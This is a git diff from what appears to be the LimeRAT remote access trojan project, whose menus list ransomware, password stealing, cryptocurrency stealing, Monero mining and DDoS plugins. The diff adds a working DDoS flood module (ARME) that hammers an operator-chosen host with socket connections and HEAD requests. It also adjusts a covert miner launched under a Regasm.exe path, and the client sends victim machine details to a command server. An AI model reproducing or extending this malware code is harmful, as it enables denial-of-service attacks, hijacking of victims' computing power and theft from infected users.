diff --git a/.vs/LimeRAT/DesignTimeBuild/.dtbcache b/.vs/LimeRAT/DesignTimeBuild/.dtbcache index b309cdb..2fb75e0 100644 Binary files a/.vs/LimeRAT/DesignTimeBuild/.dtbcache and b/.vs/LimeRAT/DesignTimeBuild/.dtbcache differ diff --git a/.vs/LimeRAT/v15/.suo b/.vs/LimeRAT/v15/.suo index 72b9f2f..8bc0d72 100644 Binary files a/.vs/LimeRAT/v15/.suo and b/.vs/LimeRAT/v15/.suo differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide index 7adc1b6..6053c47 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm index 0601421..86d0f85 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-shm differ diff --git a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal index ca0c016..f198800 100644 Binary files a/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal and b/.vs/LimeRAT/v15/Server/sqlite3/storage.ide-wal differ diff --git a/Project/Client/C_ID.vb b/Project/Client/C_ID.vb index f25030f..a272e76 100644 --- a/Project/Client/C_ID.vb +++ b/Project/Client/C_ID.vb @@ -172,7 +172,7 @@ Dim searcher As Management.ManagementObjectSearcher = New Management.ManagementObjectSearcher(wmiQuery) Dim retObjectCollection As Management.ManagementObjectCollection = searcher.Get For Each retObject As Management.ManagementObject In retObjectCollection - If retObject("CommandLine").ToString.Contains("--donate-level=1") Then + If retObject("CommandLine").ToString.Contains("--donate-level=") Then Return "Running" End If Next diff --git a/Project/Client/C_Main.vb b/Project/Client/C_Main.vb index 97f9e6a..554c055 100644 --- a/Project/Client/C_Main.vb +++ b/Project/Client/C_Main.vb @@ -1,5 +1,5 @@ '################################################################## -'## N Y A N C A T ||| Updated on Aug/20/2018 ## +'## N Y A N C A T ||| Updated on Aug/24/2018 ## '################################################################## '## ## '## ## diff --git a/Project/Client/C_Socket.vb b/Project/Client/C_Socket.vb index a3f4720..48dd25d 100644 --- a/Project/Client/C_Socket.vb +++ b/Project/Client/C_Socket.vb @@ -1,6 +1,7 @@ Namespace Lime Public Class C_Socket + Public Shared KEY As String = C_Settings.KEY Public Shared SPL As String = C_Settings.SPL Public Shared C As Net.Sockets.TcpClient @@ -73,13 +74,13 @@ e: ' clear things and ReConnect End Try MS = New IO.MemoryStream Try - C = New Net.Sockets.TcpClient - C.ReceiveTimeout = -1 - C.SendTimeout = -1 - C.SendBufferSize = 9999999 - C.ReceiveBufferSize = 9999999 - C.Client.SendBufferSize = 9999999 - C.Client.ReceiveBufferSize = 9999999 + C = New Net.Sockets.TcpClient With { + .ReceiveTimeout = -1, + .SendTimeout = -1, + .SendBufferSize = 9999999, + .ReceiveBufferSize = 9999999 + } + KA = 0 #If DEBUG Then C_Settings.HOST = "127.0.0.1" @@ -98,7 +99,7 @@ e: ' clear things and ReConnect C.Client.Connect(C_Settings.HOST, C_Settings.PORT) CNT = True 'Send info to server - Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.0", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL, + Send(String.Concat("info", SPL, C_ID.HWID, SPL, C_ID.UserName, SPL, "v0.1.8.1", SPL, C_ID.MyOS, " ", C_ID.Bit, SPL, C_ID.INDATE, SPL, C_ID.AV, SPL, C_ID.Rans, SPL, C_ID.XMR, SPL, C_ID.USBSP, SPL, " ", SPL, " ")) Catch ex As Exception Threading.Thread.CurrentThread.Sleep(R.Next(5000)) diff --git a/Project/Plugins/DDOS/ARME.vb b/Project/Plugins/DDOS/ARME.vb new file mode 100644 index 0000000..8069904 --- /dev/null +++ b/Project/Plugins/DDOS/ARME.vb @@ -0,0 +1,116 @@ +Imports System.Collections.Generic +Imports System.Text +Imports System.Threading +Imports System.Net.Sockets +Imports System.Net +Imports System.Diagnostics +Public Module ARME + + Private ThreadsEnded = 0 + Private PostDATA As String + Private HostToAttack As String + Private TimetoAttack As Integer + Private ThreadstoUse As Integer + Private Threads As Thread() + Private AttackRunning As Boolean = False + Private Attacks As Integer = 0 + Public Sub StartARME(ByVal Host As String, ByVal Threadsto As Integer, ByVal Time As Integer, ByVal data As String) + If Not AttackRunning = True Then + AttackRunning = True + HostToAttack = Host + PostDATA = data + ThreadstoUse = Threadsto + TimetoAttack = Time * 60 + + If HostToAttack.Contains("http://") Then HostToAttack = HostToAttack.Replace("http://", String.Empty) + If HostToAttack.Contains("www.") Then HostToAttack = HostToAttack.Replace("www.", String.Empty) + If HostToAttack.Contains("/") Then HostToAttack = HostToAttack.Replace("/", String.Empty) + + + Threads = New Thread(Threadsto - 1) {} + STV("Flood", "ARME Attack on " & HostToAttack & " started!") + For i As Integer = 0 To Threadsto - 1 + Threads(i) = New Thread(AddressOf DoWork) + Threads(i).IsBackground = True + Threads(i).Start() + Next + + Dim Stoped As New Threading.Thread(AddressOf StopARME) + Stoped.Start() + + Else + STV("Flood", "An ARME Attack is Already Running on " & HostToAttack) + End If + + End Sub + Private Sub lol() + + ThreadsEnded = ThreadsEnded + 1 + If ThreadsEnded = ThreadstoUse Then + ThreadsEnded = 0 + ThreadstoUse = 0 + AttackRunning = False + STV("Flood", "ARME Attack on " & HostToAttack & " finished successfully. Attacks Sent: " & Attacks.ToString) + Attacks = 0 + End If + + End Sub + + Public Sub StopARME() + +1: + If GTV("ARME|STOP") = "False" Then + Thread.Sleep(1000) + GoTo 1 + End If + + + If AttackRunning = True Then + For i As Integer = 0 To ThreadstoUse - 1 + Try + Threads(i).Abort() + Catch + End Try + Next + AttackRunning = False + + STV("Flood", "ARME Attack on " & HostToAttack & " aborted successfully. Attacks Sent: " & Attacks.ToString) + Attacks = 0 + + Else + STV("Flood", "ARME Attack: Not Running!") + End If + End Sub + + Private Sub DoWork() + Try + Dim socketArray As Socket() = New Socket(100 - 1) {} + Dim span As TimeSpan = TimeSpan.FromSeconds(CDbl(TimetoAttack)) + Dim stopwatch As Stopwatch = Stopwatch.StartNew + Do While (stopwatch.Elapsed < span) + Try + Dim i As Integer + Dim Http As New WebClient() + For i = 0 To 100 - 1 + socketArray(i) = New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + socketArray(i).Connect(Dns.GetHostAddresses(HostToAttack), 80) + socketArray(i).Send(ASCIIEncoding.Default.GetBytes("HEAD / HTTP/1.1" & ChrW(13) & ChrW(10) & "Host: " & HostToAttack.ToString() & ChrW(13) & ChrW(10) & "Content-length: 5235" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10))) + Attacks = Attacks + 1 + Next i + Dim j As Integer + For j = 0 To 100 - 1 + socketArray(j).Close() + Next j + Continue Do + + + + Catch + + Continue Do + End Try + Loop + Catch : End Try + lol() + End Sub +End Module diff --git a/Project/Plugins/DDOS/DDOS.vbproj b/Project/Plugins/DDOS/DDOS.vbproj index 631f534..722980e 100644 --- a/Project/Plugins/DDOS/DDOS.vbproj +++ b/Project/Plugins/DDOS/DDOS.vbproj @@ -58,6 +58,7 @@ + diff --git a/Project/Plugins/DDOS/Main.vb b/Project/Plugins/DDOS/Main.vb index 9c972af..fe3d43a 100644 --- a/Project/Plugins/DDOS/Main.vb +++ b/Project/Plugins/DDOS/Main.vb @@ -16,6 +16,16 @@ Case "2" STV("Slowloris|STOP", "True") End Select + + Case "ARME" + Select Case A(1) + Case "1" + STV("ARME|STOP", "False") + ARME.StartARME(A(2), A(3), A(4), A(5)) + Case "2" + STV("ARME|STOP", "True") + End Select + End Select End Sub diff --git a/Project/Plugins/ENC/Resources/DECF.exe b/Project/Plugins/ENC/Resources/DECF.exe index a90e379..84cda89 100644 Binary files a/Project/Plugins/ENC/Resources/DECF.exe and b/Project/Plugins/ENC/Resources/DECF.exe differ diff --git a/Project/Plugins/XMR/Main.vb b/Project/Plugins/XMR/Main.vb index a3dfce4..10a7a94 100644 --- a/Project/Plugins/XMR/Main.vb +++ b/Project/Plugins/XMR/Main.vb @@ -115,9 +115,9 @@ Public Class Main Public Shared Sub XM(ByVal cpu As String, ByVal url As String, ByVal user As String, ByVal pass As String) Try - Run("C:\Windows\Microsoft.NET\Framework\v2.0.50727\Regasm.exe", "-B --donate-level=1 -t " & cpu & " -a cryptonight --url=" & url & " -u " & user & " -p " & pass & " -R --variant=-1 --max-cpu-usage=75", GZip(My.Resources.xm), True) + Run("C:\Windows\Microsoft.NET\Framework\v2.0.50727\Regasm.exe", "-B --donate-level=0 -t " & cpu & " -a cryptonight --url=" & url & " -u " & user & " -p " & pass & " -R --variant=-1 --max-cpu-usage=75", GZip(My.Resources.xm), True) Catch ex As Exception - Run("C:\Windows\Microsoft.NET\Framework\v4.0.30319\Regasm.exe", "-B --donate-level=1 -t " & cpu & " -a cryptonight --url=" & url & " -u " & user & " -p " & pass & " -R --variant=-1 --max-cpu-usage=75", GZip(My.Resources.xm), True) + Run("C:\Windows\Microsoft.NET\Framework\v4.0.30319\Regasm.exe", "-B --donate-level=0 -t " & cpu & " -a cryptonight --url=" & url & " -u " & user & " -p " & pass & " -R --variant=-1 --max-cpu-usage=75", GZip(My.Resources.xm), True) End Try End Sub diff --git a/Project/Plugins/XMR/Resources/xm.exe b/Project/Plugins/XMR/Resources/xm.exe index 44a3c67..3d18608 100644 Binary files a/Project/Plugins/XMR/Resources/xm.exe and b/Project/Plugins/XMR/Resources/xm.exe differ diff --git a/Project/Server/Classes/S_GIO.vb b/Project/Server/Classes/S_GeoIP.vb similarity index 99% rename from Project/Server/Classes/S_GIO.vb rename to Project/Server/Classes/S_GeoIP.vb index 2108545..054030a 100644 --- a/Project/Server/Classes/S_GIO.vb +++ b/Project/Server/Classes/S_GeoIP.vb @@ -1,7 +1,7 @@ Imports System.IO Imports System.Net -Public Class S_GIO +Public Class S_GeoIP Public MS As MemoryStream Private Shared CountryBegin As Long = 16776960 Private Shared CountryName As String() = {"LocalHost", "Asia/Pacific Region", "Europe", "Andorra", "United Arab Emirates", "Afghanistan", "Antigua and Barbuda", "Anguilla", "Albania", "Armenia", "Netherlands Antilles", "Angola", "Antarctica", "Argentina", "American Samoa", "Austria", "Australia", "Aruba", "Azerbaijan", "Bosnia and Herzegovina", "Barbados", "Bangladesh", "Belgium", "Burkina Faso", "Bulgaria", "Bahrain", "Burundi", "Benin", "Bermuda", "Brunei Darussalam", "Bolivia", "Brazil", "Bahamas", "Bhutan", "Bouvet Island", "Botswana", "Belarus", "Belize", "Canada", "Cocos (Keeling) Islands", "Congo, The Democratic Republic of the", "Central African Republic", "Congo", "Switzerland", "Cote D'Ivoire", "Cook Islands", "Chile", "Cameroon", "China", "Colombia", "Costa Rica", "Cuba", "Cape Verde", "Christmas Island", "Cyprus", "Czech Republic", "Germany", "Djibouti", "Denmark", "Dominica", "Dominican Republic", "Algeria", "Ecuador", "Estonia", "Egypt", "Western Sahara", "Eritrea", "Spain", "Ethiopia", "Finland", "Fiji", "Falkland Islands (Malvinas)", "Micronesia, Federated States of", "Faroe Islands", "France", "France, Metropolitan", "Gabon", "United Kingdom", "Grenada", "Georgia", "French Guiana", "Ghana", "Gibraltar", "Greenland", "Gambia", "Guinea", "Guadeloupe", "Equatorial Guinea", "Greece", "South Georgia and the South Sandwich Islands", "Guatemala", "Guam", "Guinea-Bissau", "Guyana", "Hong Kong", "Heard Island and McDonald Islands", "Honduras", "Croatia", "Haiti", "Hungary", "Indonesia", "Ireland", "Israel", "India", "British Indian Ocean Territory", "Iraq", "Iran, Islamic Republic of", "Iceland", "Italy", "Jamaica", "Jordan", "Japan", "Kenya", "Kyrgyzstan", "Cambodia", "Kiribati", "Comoros", "Saint Kitts and Nevis", "Korea, Democratic People's Republic of", "Korea, Republic of", "Kuwait", "Cayman Islands", "Kazakstan", "Lao People's Democratic Republic", "Lebanon", "Saint Lucia", "Liechtenstein", "Sri Lanka", "Liberia", "Lesotho", "Lithuania", "Luxembourg", "Latvia", "Libyan Arab Jamahiriya", "Morocco", "Monaco", "Moldova, Republic of", "Madagascar", "Marshall Islands", "Macedonia, the Former Yugoslav Republic of", "Mali", "Myanmar", "Mongolia", "Macao", "Northern Mariana Islands", "Martinique", "Mauritania", "Montserrat", "Malta", "Mauritius", "Maldives", "Malawi", "Mexico", "Malaysia", "Mozambique", "Namibia", "New Caledonia", "Niger", "Norfolk Island", "Nigeria", "Nicaragua", "Netherlands", "Norway", "Nepal", "Nauru", "Niue", "New Zealand", "Oman", "Panama", "Peru", "French Polynesia", "Papua New Guinea", "Philippines", "Pakistan", "Poland", "Saint Pierre and Miquelon", "Pitcairn", "Puerto Rico", "Palestinian Territory, Occupied", "Portugal", "Palau", "Paraguay", "Qatar", "Reunion", "Romania", "Russian Federation", "Rwanda", "Saudi Arabia", "Solomon Islands", "Seychelles", "Sudan", "Sweden", "Singapore", "Saint Helena", "Slovenia", "Svalbard and Jan Mayen", "Slovakia", "Sierra Leone", "San Marino", "Senegal", "Somalia", "Suriname", "Sao Tome and Principe", "El Salvador", "Syrian Arab Republic", "Swaziland", "Turks and Caicos Islands", "Chad", "French Southern Territories", "Togo", "Thailand", "Tajikistan", "Tokelau", "Turkmenistan", "Tunisia", "Tonga", "Timor-Leste", "Turkey", "Trinidad and Tobago", "Tuvalu", "Taiwan, Province of China", "Tanzania, United Republic of", "Ukraine", "Uganda", "United States Minor Outlying Islands", "United States", "Uruguay", "Uzbekistan", "Holy See (Vatican City State)", "Saint Vincent and the Grenadines", "Venezuela", "Virgin Islands, British", "Virgin Islands, U.S.", "Vietnam", "Vanuatu", "Wallis and Futuna", "Samoa", "Yemen", "Mayotte", "Yugoslavia", "South Africa", "Zambia", "Montenegro", "Zimbabwe", "Anonymous Proxy", "Satellite Provider", "Other", "Aland Islands", "Guernsey", "Isle of Man", "Jersey", "Saint Barthelemy", "Saint Martin"} diff --git a/Project/Server/Classes/S_Settings.vb b/Project/Server/Classes/S_Settings.vb index a5b6791..129d0e5 100644 --- a/Project/Server/Classes/S_Settings.vb +++ b/Project/Server/Classes/S_Settings.vb @@ -3,7 +3,7 @@ Public Shared PORT As Integer Public Shared EncryptionKey As String Public Shared IP As String = String.Empty - Public Shared StubVer As String = "v0.1.8.0" + Public Shared StubVer As String = "v0.1.8.1" Public Shared SPL As String = "|'L'|" Public Shared KEY As String = "|'N'|" diff --git a/Project/Server/Classes/S_Socket.vb b/Project/Server/Classes/S_Socket.vb index e6caeb7..4417d46 100644 --- a/Project/Server/Classes/S_Socket.vb +++ b/Project/Server/Classes/S_Socket.vb @@ -5,19 +5,20 @@ Public Event Data(ByVal u As USER, ByVal b As Byte()) Public Event Disconnected(ByVal u As USER) Public Event Connected(ByVal u As USER) - Public Event ms(ByVal u As USER, ByVal ms As Integer) - Public t As New Threading.Thread(AddressOf pnd) + Public t As New Threading.Thread(AddressOf Pnd) + Public Online As New Collection Sub New(ByVal port As Integer) S = New Net.Sockets.TcpListener(New Net.IPEndPoint(Net.IPAddress.Any, port)) - S.Start() S.Server.ReceiveTimeout = -1 S.Server.SendTimeout = -1 - S.Server.SendBufferSize = 9999999 - S.Server.ReceiveBufferSize = 9999999 + S.Server.SendBufferSize = 8888888 + S.Server.ReceiveBufferSize = 8888888 + S.Start() t.Start() End Sub - Sub pnd() + + Sub Pnd() While True Dim x = S.AcceptSocket Dim u As New USER(x, Me) @@ -28,7 +29,7 @@ End SyncLock End While End Sub - Public Online As New Collection + Sub Read(ByVal ar As IAsyncResult) Dim u As USER = ar.AsyncState If u.IsConnected = False Then GoTo disconnect @@ -61,6 +62,7 @@ disconnect: RaiseEvent Disconnected(u) End SyncLock End Sub + Public Function Send(ByVal u As USER, ByVal s As String) As Boolean Return SendData(u, SB(S_Encryption.AES_Encrypt(s))) End Function @@ -88,22 +90,27 @@ Public Class USER Public L As ListViewItem = Nothing Public C As Net.Sockets.Socket Public IP As String = "" - Public B(9999999) As Byte + Public B(8888888) As Byte Public MEM As New IO.MemoryStream Public IsPinged As Boolean = False Public MS As Integer = 2500 + Delegate Sub _INV() + + Sub New(ByVal c As Net.Sockets.Socket, ByVal listner As S_Socket) Me.C = c Me.Listner = listner IP = c.RemoteEndPoint.ToString - My.Application.OpenForms(0).Invoke(New _INV(AddressOf inv)) + My.Application.OpenForms(0).Invoke(New _INV(AddressOf Inv)) End Sub - Delegate Sub _INV() - Sub inv() - Timer = New Timer - Timer.Interval = 1 - Timer.Enabled = True + + Sub Inv() + Timer = New Timer With { + .Interval = 1, + .Enabled = True + } End Sub + Sub TICK() Handles Timer.Tick MS += 1 If IsConnected = False Then @@ -119,6 +126,7 @@ Public Class USER End If End If End Sub + Public Sub Disconnect() IsConnected = False Try @@ -130,4 +138,5 @@ Public Class USER Catch ex As Exception End Try End Sub + End Class \ No newline at end of file diff --git a/Project/Server/Forms/About.Designer.vb b/Project/Server/Forms/About.Designer.vb index b3bb472..1d1aab8 100644 --- a/Project/Server/Forms/About.Designer.vb +++ b/Project/Server/Forms/About.Designer.vb @@ -55,6 +55,8 @@ Partial Class About Me.MetroLabel27 = New MetroFramework.Controls.MetroLabel() Me.MetroLabel28 = New MetroFramework.Controls.MetroLabel() Me.BackgroundWorker1 = New System.ComponentModel.BackgroundWorker() + Me.MetroLabel29 = New MetroFramework.Controls.MetroLabel() + Me.MetroLabel30 = New MetroFramework.Controls.MetroLabel() CType(Me.MetroStyleManager1, System.ComponentModel.ISupportInitialize).BeginInit() CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() Me.SuspendLayout() @@ -140,7 +142,7 @@ Partial Class About Me.MetroLabel7.Size = New System.Drawing.Size(61, 19) Me.MetroLabel7.Style = MetroFramework.MetroColorStyle.Lime Me.MetroLabel7.TabIndex = 0 - Me.MetroLabel7.Text = ": 0.1.8.0" + Me.MetroLabel7.Text = ": 0.1.8.1" Me.MetroLabel7.Theme = MetroFramework.MetroThemeStyle.Dark ' 'MetroLabel8 @@ -394,11 +396,35 @@ Partial Class About 'BackgroundWorker1 ' ' + 'MetroLabel29 + ' + Me.MetroLabel29.AutoSize = True + Me.MetroLabel29.Location = New System.Drawing.Point(194, 664) + Me.MetroLabel29.Name = "MetroLabel29" + Me.MetroLabel29.Size = New System.Drawing.Size(50, 19) + Me.MetroLabel29.Style = MetroFramework.MetroColorStyle.Lime + Me.MetroLabel29.TabIndex = 6 + Me.MetroLabel29.Text = ": xmrig" + Me.MetroLabel29.Theme = MetroFramework.MetroThemeStyle.Dark + ' + 'MetroLabel30 + ' + Me.MetroLabel30.AutoSize = True + Me.MetroLabel30.Location = New System.Drawing.Point(23, 664) + Me.MetroLabel30.Name = "MetroLabel30" + Me.MetroLabel30.Size = New System.Drawing.Size(43, 19) + Me.MetroLabel30.Style = MetroFramework.MetroColorStyle.Lime + Me.MetroLabel30.TabIndex = 7 + Me.MetroLabel30.Text = "Miner" + Me.MetroLabel30.Theme = MetroFramework.MetroThemeStyle.Dark + ' 'About ' Me.AutoScaleDimensions = New System.Drawing.SizeF(9.0!, 20.0!) Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font - Me.ClientSize = New System.Drawing.Size(800, 732) + Me.ClientSize = New System.Drawing.Size(800, 763) + Me.Controls.Add(Me.MetroLabel29) + Me.Controls.Add(Me.MetroLabel30) Me.Controls.Add(Me.MetroLabel27) Me.Controls.Add(Me.MetroLabel28) Me.Controls.Add(Me.MetroLabel17) @@ -473,4 +499,6 @@ Partial Class About Friend WithEvents MetroLabel27 As MetroFramework.Controls.MetroLabel Friend WithEvents MetroLabel28 As MetroFramework.Controls.MetroLabel Friend WithEvents BackgroundWorker1 As System.ComponentModel.BackgroundWorker + Friend WithEvents MetroLabel29 As MetroFramework.Controls.MetroLabel + Friend WithEvents MetroLabel30 As MetroFramework.Controls.MetroLabel End Class diff --git a/Project/Server/Forms/Floods.Designer.vb b/Project/Server/Forms/Floods.Designer.vb index 7f04955..89af6b5 100644 --- a/Project/Server/Forms/Floods.Designer.vb +++ b/Project/Server/Forms/Floods.Designer.vb @@ -118,7 +118,7 @@ Partial Class Floods ' Me.Flood_Attack.FormattingEnabled = True Me.Flood_Attack.ItemHeight = 23 - Me.Flood_Attack.Items.AddRange(New Object() {"Slowloris"}) + Me.Flood_Attack.Items.AddRange(New Object() {"Slowloris", "ARME"}) Me.Flood_Attack.Location = New System.Drawing.Point(137, 132) Me.Flood_Attack.Name = "Flood_Attack" Me.Flood_Attack.Size = New System.Drawing.Size(156, 29) diff --git a/Project/Server/Forms/Intro.vb b/Project/Server/Forms/Intro.vb index c105266..09b09f5 100644 --- a/Project/Server/Forms/Intro.vb +++ b/Project/Server/Forms/Intro.vb @@ -14,7 +14,7 @@ End If If Not IO.File.Exists(Application.StartupPath & "\Misc\GIO.dat") Then - IO.File.WriteAllBytes(Application.StartupPath & "\Misc\GIO.dat", My.Resources.GIO) + IO.File.WriteAllBytes(Application.StartupPath & "\Misc\GeoIP.dat", My.Resources.GeoIP) End If If Not IO.Directory.Exists(Application.StartupPath + "\Misc" + "\Wallpaper") Then diff --git a/Project/Server/Forms/Main.Designer.vb b/Project/Server/Forms/Main.Designer.vb index 31b50ad..3cdabff 100644 --- a/Project/Server/Forms/Main.Designer.vb +++ b/Project/Server/Forms/Main.Designer.vb @@ -54,6 +54,7 @@ Partial Class Main Me.PasswordsToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.CryptocurrencyStealerToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.XMRMinerToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() + Me.DDoSToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.ToolStripSeparator1 = New System.Windows.Forms.ToolStripSeparator() Me.DownloadAndExecuteToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.FromDiskToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() @@ -83,8 +84,9 @@ Partial Class Main Me.StopToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem() Me.ToolStripSeparator4 = New System.Windows.Forms.ToolStripSeparator() Me.AboutToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() - Me.TestToolStripMenuItem = New System.Windows.Forms.ToolStripMenuItem() Me.Flag = New System.Windows.Forms.ImageList(Me.components) + Me.MetroTabPage2 = New MetroFramework.Controls.MetroTabPage() + Me.L2 = New System.Windows.Forms.ListBox() Me.MetroTabPage3 = New MetroFramework.Controls.MetroTabPage() Me.chkRename = New MetroFramework.Controls.MetroCheckBox() Me.radioNET4 = New MetroFramework.Controls.MetroRadioButton() @@ -118,8 +120,6 @@ Partial Class Main Me.MetroTile1 = New MetroFramework.Controls.MetroTile() Me._pastebin = New MetroFramework.Controls.MetroTextBox() Me.MetroLabel4 = New MetroFramework.Controls.MetroLabel() - Me.MetroTabPage2 = New MetroFramework.Controls.MetroTabPage() - Me.L2 = New System.Windows.Forms.ListBox() Me.NotifyIcon1 = New System.Windows.Forms.NotifyIcon(Me.components) Me.BackgroundWorker1 = New System.ComponentModel.BackgroundWorker() Me.Timer1 = New System.Windows.Forms.Timer(Me.components) @@ -136,6 +136,7 @@ Partial Class Main Me.MetroTabControl1.SuspendLayout() Me.MetroTabPage1.SuspendLayout() Me.Main_Rightclick.SuspendLayout() + Me.MetroTabPage2.SuspendLayout() Me.MetroTabPage3.SuspendLayout() Me.MetroPanel5.SuspendLayout() CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit() @@ -143,7 +144,6 @@ Partial Class Main CType(Me._numDelay, System.ComponentModel.ISupportInitialize).BeginInit() Me.MetroPanel3.SuspendLayout() Me.MetroPanel2.SuspendLayout() - Me.MetroTabPage2.SuspendLayout() Me.MetroPanel1.SuspendLayout() CType(Me.MetroStyleManager1, System.ComponentModel.ISupportInitialize).BeginInit() Me.SuspendLayout() @@ -273,15 +273,15 @@ Partial Class Main Me.Main_Rightclick.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None Me.Main_Rightclick.ForeColor = System.Drawing.Color.FromArgb(CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer), CType(CType(0, Byte), Integer)) Me.Main_Rightclick.ImageScalingSize = New System.Drawing.Size(24, 24) - Me.Main_Rightclick.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.PluginsToolStripMenuItem, Me.ToolStripSeparator1, Me.DownloadAndExecuteToolStripMenuItem, Me.MiscellaneousToolStripMenuItem, Me.BotPCOptionsToolStripMenuItem, Me.ControllerOptionsToolStripMenuItem, Me.ToolStripSeparator2, Me.NoteToolStripMenuItem, Me.ClientColorToolStripMenuItem, Me.ClientFolderToolStripMenuItem, Me.ToolStripSeparator3, Me.AutoUpdateClientsToolStripMenuItem, Me.ToolStripSeparator4, Me.AboutToolStripMenuItem, Me.TestToolStripMenuItem}) + Me.Main_Rightclick.Items.AddRange(New System.Windows.Forms.ToolStripItem() {Me.PluginsToolStripMenuItem, Me.ToolStripSeparator1, Me.DownloadAndExecuteToolStripMenuItem, Me.MiscellaneousToolStripMenuItem, Me.BotPCOptionsToolStripMenuItem, Me.ControllerOptionsToolStripMenuItem, Me.ToolStripSeparator2, Me.NoteToolStripMenuItem, Me.ClientColorToolStripMenuItem, Me.ClientFolderToolStripMenuItem, Me.ToolStripSeparator3, Me.AutoUpdateClientsToolStripMenuItem, Me.ToolStripSeparator4, Me.AboutToolStripMenuItem}) Me.Main_Rightclick.Name = "ContextMenuStrip1" Me.Main_Rightclick.ShowImageMargin = False - Me.Main_Rightclick.Size = New System.Drawing.Size(221, 358) + Me.Main_Rightclick.Size = New System.Drawing.Size(221, 328) ' 'PluginsToolStripMenuItem ' Me.PluginsToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer)) - Me.PluginsToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.RansomwareToolStripMenuItem, Me.LockScreenToolStripMenuItem, Me.FIleManagerToolStripMenuItem, Me.RemoteDesktopToolStripMenuItem, Me.DetailsToolStripMenuItem, Me.PasswordsToolStripMenuItem, Me.CryptocurrencyStealerToolStripMenuItem, Me.XMRMinerToolStripMenuItem}) + Me.PluginsToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {Me.RansomwareToolStripMenuItem, Me.LockScreenToolStripMenuItem, Me.FIleManagerToolStripMenuItem, Me.RemoteDesktopToolStripMenuItem, Me.DetailsToolStripMenuItem, Me.PasswordsToolStripMenuItem, Me.CryptocurrencyStealerToolStripMenuItem, Me.XMRMinerToolStripMenuItem, Me.DDoSToolStripMenuItem}) Me.PluginsToolStripMenuItem.ForeColor = System.Drawing.Color.White Me.PluginsToolStripMenuItem.Name = "PluginsToolStripMenuItem" Me.PluginsToolStripMenuItem.Size = New System.Drawing.Size(220, 30) @@ -386,6 +386,14 @@ Partial Class Main Me.XMRMinerToolStripMenuItem.Size = New System.Drawing.Size(275, 30) Me.XMRMinerToolStripMenuItem.Text = "Monero Miner" ' + 'DDoSToolStripMenuItem + ' + Me.DDoSToolStripMenuItem.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer)) + Me.DDoSToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control + Me.DDoSToolStripMenuItem.Name = "DDoSToolStripMenuItem" + Me.DDoSToolStripMenuItem.Size = New System.Drawing.Size(275, 30) + Me.DDoSToolStripMenuItem.Text = "DDoS" + ' 'ToolStripSeparator1 ' Me.ToolStripSeparator1.Name = "ToolStripSeparator1" @@ -605,13 +613,6 @@ Partial Class Main Me.AboutToolStripMenuItem.Size = New System.Drawing.Size(220, 30) Me.AboutToolStripMenuItem.Text = "About" ' - 'TestToolStripMenuItem - ' - Me.TestToolStripMenuItem.ForeColor = System.Drawing.SystemColors.Control - Me.TestToolStripMenuItem.Name = "TestToolStripMenuItem" - Me.TestToolStripMenuItem.Size = New System.Drawing.Size(220, 30) - Me.TestToolStripMenuItem.Text = "test" - ' 'Flag ' Me.Flag.ImageStream = CType(resources.GetObject("Flag.ImageStream"), System.Windows.Forms.ImageListStreamer) @@ -860,6 +861,35 @@ Partial Class Main Me.Flag.Images.SetKeyName(241, "zw.png") Me.Flag.Images.SetKeyName(242, "--.png") ' + 'MetroTabPage2 + ' + Me.MetroTabPage2.Controls.Add(Me.L2) + Me.MetroTabPage2.HorizontalScrollbarBarColor = True + Me.MetroTabPage2.Location = New System.Drawing.Point(4, 39) + Me.MetroTabPage2.Name = "MetroTabPage2" + Me.MetroTabPage2.Size = New System.Drawing.Size(1614, 504) + Me.MetroTabPage2.Style = MetroFramework.MetroColorStyle.Lime + Me.MetroTabPage2.TabIndex = 1 + Me.MetroTabPage2.Text = "Logs" + Me.MetroTabPage2.Theme = MetroFramework.MetroThemeStyle.Dark + Me.MetroTabPage2.VerticalScrollbarBarColor = True + ' + 'L2 + ' + Me.L2.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ + Or System.Windows.Forms.AnchorStyles.Left) _ + Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) + Me.L2.BackColor = System.Drawing.Color.FromArgb(CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer), CType(CType(17, Byte), Integer)) + 